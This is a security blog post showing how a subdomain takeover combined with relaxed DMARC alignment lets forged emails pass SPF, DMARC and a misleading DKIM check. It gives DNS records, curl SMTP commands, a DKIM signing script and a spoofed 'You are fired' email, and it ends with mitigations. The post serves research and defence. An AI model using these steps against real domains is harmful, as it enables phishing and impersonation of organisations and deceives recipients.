DMARC Identifier Alignment: relax, don't do it, when you want to go to it

From subdomain takeover to phishing mails

TL;DR; if you have a subdomain takeover for a given domain, and default DMARC alignment settings, you can create emails that passes SPF and DMARC for phishing purposes. DKIM, however, cannot be passed for the domain but a trick is possible to make emails look more trustworthy.

This post and more are now part of a book I wrote on email security:


I like Mozilla’s definition of a subdomain takeover:

A subdomain takeover occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a canonical name (CNAME) in the Domain Name System (DNS), but no host is providing content for it. This can happen because either a virtual host hasn’t been published yet or a virtual host has been removed. An attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it.

The usual impact of the above is phishing or cookies' theft from impersonated web pages. Subdomain takeover have consequences in mail security too, and not just on the vulnerable subdomain but also on the organizational one. This article is a practical example of how to craft phishing emails from a subdomain takeover.


Vulnerable subdomain

One needs a subdomain takeover where the target of a DNS record is fully under his control. E.g. for a vulnerable domain of (I own it), a DNS CNAME record as follow is needed:

takeover IN CNAME
$ dig +short

where is not registered (anymore). One can then claim the domain and control its DNS zone, hence making point to a controlled server.

The above is important as a subdomain takeover pointing to third-parties websites such as Github etc. will not allow an attacker control over a DNS zone or a server which is crucial for the technique describe here to work.

“Relaxed” DMARC configuration

The DMARC configuration of the target domain needs to allow for “relaxed” mode of SPF Authenticated Identifiers and/or DKIM Authenticated Identifiers. This, though, is the default behaviour if the aspf or adkim settings have not been set. Hence, the following DMARC policy is vulnerable:

$ dig +short txt
"v=DMARC1; p=reject; sp=reject"

So would be this one:

$ dig +short txt
"v=DMARC1; p=reject; sp=reject; aspf=r; adkim=r"

But that one is not:

$ dig +short txt
"v=DMARC1; p=reject; sp=reject; aspf=s; adkim=s"

For the following demonstration, the first policy above was in use.


Let’s set some DNS records on the domain that we registered and control.

The subdomain takeover:

sub IN CNAME is identified by:

server IN A

MX record for the controlled server:

target IN MX 10

So now, points to the controlled server which is allowed to send mails for

$ dig +short
$ dig +short mx

Passing SPF

The SPF Authenticated Identifiers definition states :

In relaxed mode, the SPF-authenticated domain and RFC5322.From domain must have the same Organizational Domain. In strict mode, only an exact DNS domain match is considered to produce Identifier Alignment.

The “SPF-authenticated domain” is taken from the SMTP MAIL FROM command. The From domain is taken from the MIME header with the same name.

When a mail is received, the MAIL FROM domain value is extracted and the corresponding SPF record is requested then used. This is the behaviour of most mail agents.

If relaxed mode is enabled, one can send a subdomain in MAIL FROM and a domain in From with the same organizational domain and SPF will still pass:

For example, if a message passes an SPF check with an RFC5321.MailFrom domain of “”, and the address portion of the RFC5322.From field contains “”, the Authenticated RFC5321.MailFrom domain identifier and the RFC5322.From domain are considered to be “in alignment” in relaxed mode, but not in strict mode.

In our example, we control the SPF record for We set it to:

sub IN TXT "v=spf1 mx -all"

Which means “all IPs associated with MX records in the domain will be authorized to send mails”. Because of the subdomain takeover and how DNS resolution work, we now have a SPF record for

$ dig +short txt | grep spf
"v=spf1 mx -all"

And because we set as a valid MX, we can now send emails from it.

We can do that on the command line of ( uses Microsoft 365, hence why the SMTP server below):

$ curl -vvvv smtp:// --mail-from '' --mail-rcpt '' --upload-file mail.txt
* Expire in 149967 ms for 3 (transfer 0x55aad3f5a0f0)  
* Expire in 200 ms for 4 (transfer 0x55aad3f5a0f0)  
* Connected to []( ( port 25 (#0)  
< 220 []( Microsoft ESMTP MAIL Service ready at Mon, 23 Jan 2023 15:55:16 +0000  
> EHLO mail.txt  
< []( Hello []  
< 250-SIZE 157286400  
< 250-DSN  
< 250-STARTTLS  
< 250-8BITMIME  
< 250-CHUNKING  
< 250 SMTPUTF8  
> MAIL FROM:<> SIZE=140  
< 250 2.1.0 Sender OK  
> RCPT TO:<>  
< 250 2.1.5 Recipient OK  
> DATA  
< 354 Start mail input; end with <CRLF>.<CRLF>  
} [140 bytes data]  
* We are completely uploaded and fine  
100 140 0 0 100 140 0 185 --:--:-- --:--:-- --:--:-- 185< 250 2.6.0 <> [InternalId=68521908309720, Hostname=MRZP264MB2425.FRAP264.PROD.OUTLOOK.COM] 8276 bytes in 0.036, 220.364 KB/sec Queued mail for delivery  
100 140 0 0 100 140 0 185 --:--:-- --:--:-- --:--:-- 185  
* Connection #0 to host []( left intact

This is the content of mail.txt:

Subject: You are fired  
Hi Jeff,  
Sorry to tell you this way, but you're out.  
Best regards,  

Note the difference of sender in --mail-from and in the From of mail.txt which what the RFC states as allowed when in relaxed SPF alignment.

The email is received in the Outlook inbox of, passing the spam filters:

Its MIME headers states SPF passes:

Received-SPF: Pass ( domain of
 designates as permitted sender)

Note that DMARC passes as well:

Authentication-Results: spf=pass (sender IP is; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none;compauth=pass

This is because if no DKIM is present (dkim=none) but SPF passes, then DMARC passes. This is a by-design property of DMARC.

Ok cool, but the mail is not cryptographically signed and other mail agents might put it in the spam folder for a lack of signature, let’s see if we can get DKIM working.

(Kind of) Passing DKIM

In a similar fashion than SPF Auth identifiers exists, there are DKIM Authenticated Identifiers:

In relaxed mode, the Organizational Domains of both the DKIM- authenticated signing domain (taken from the value of the “d=” tag in the signature) and that of the RFC5322.From domain must be equal if the identifiers are to be considered aligned. In strict mode, only an exact match between both of the Fully Qualified Domain Names (FQDNs) is considered to produce Identifier Alignment.

Which means that if DMARC contains adkim=r (or no adkim, as r value is the default one) there could be a in the DKIM signature and a From sender ending in and DKIM would still pass. Let’s try that.

Generate a private key for DKIM signing on

$ openssl genrsa -out dkim_priv.pem 2048

Get the corresponding public key in base64:

$ openssl rsa -in dkim_priv.pem -pubout -outform der 2>/dev/null | openssl base64 -A

Construct and publish a DKIM record with the obtained public key on our DNS zone (s1 is taken as an arbitrary selector):

s1._domainkey IN TXT "v=DKIM1; k=rsa; p=Ayw[...]zkwA"
$ dig +short txt
"v=DKIM1; k=rsa; p=Ayw[...]zkwA"

Sign a mail with the private key using the following python script using dkimpy:

import dkim

mail = open("mail.txt", "rb").read()
selector = b"s1"
domain = b""
privkey = open("dkim_priv.pem", "rb").read()

signature = dkim.sign(mail, selector, domain, privkey)

It gives the following signature that we add to mail.txt:

$ ./
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;;; q=dns/txt; s=s1;
 t=1674566236; h=from : to : subject : from;

We then send the signed mail:

curl -vvvv smtp:// --mail-from '' --mail-rcpt '' --upload-file mail.txt

And the result of the email authentication is as such:

Authentication-Results: spf=pass (sender IP is; dkim=fail (no key for signature);dmarc=pass action=none;compauth=pass reason=100

It fails because the mail agent tries to get a DKIM public key DNS record for and that resolves to… nothing. It does not automatically point to so the DNS response is empty, hence the “no key for signature”. Which mean (AFAIK) there is no valid domain DKIM signature that can be generated from a subdomain takeover. One would need control over * to make it possible.

However, as a hackish way of improving the mail looks, it is still possible to sign it for another domain to try passing more antispam defences. Even if that domain is not our targeted domain (marketing platforms do sign mails for other domains all the time). We can take the subdomain as an example.

If we reuse our script to sign the mail with

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;;; q=dns/txt; s=s1;
 t=1674566236; h=from : to : subject : from;
curl -vvvv smtp:// --mail-from '' --mail-rcpt '' --upload-file mail.txt

We then get a passing DKIM:

Authentication-Results: spf=pass (sender IP is; dkim=pass (signature was verified);dmarc=pass action=none;compauth=pass reason=100

While this will not fool spam filters checking that the signing domain is the sender domain (which they should), it sometimes is enough to have the mail being signed by any domain to pass misconfigured defences.

Our mail is now:

  • Passing SPF
  • Passing DMARC
  • Passing DKIM but not for the sender’s domain

This can trick a lot of mail clients into believing this email is legit, including Outlook, the tested one for this example.


While prerequisites for this type of attack is high, it is not unlikely that attackers will use subdomain takeovers in order to be able to forge convincing phishing emails. This could also be a good tactic from a red team point of view as it minimize the interaction between the targeted domain and the operator (a few DNS requests are needed) until the final phishing mail is sent.

To avoid and mitigate this issue, I suggest to:

  • Regularly checking your DNS for unused records and removing them to avoid subdomain takeovers
  • If DMARC relaxed modes are not needed, setting the following in your DMARC DNS records:
aspf=s; adkim=s;

If you are looking to assess your organization’s mail security, that’s something I do.


Thanks to Martin Sohn Christensen for the proofreading and technical help.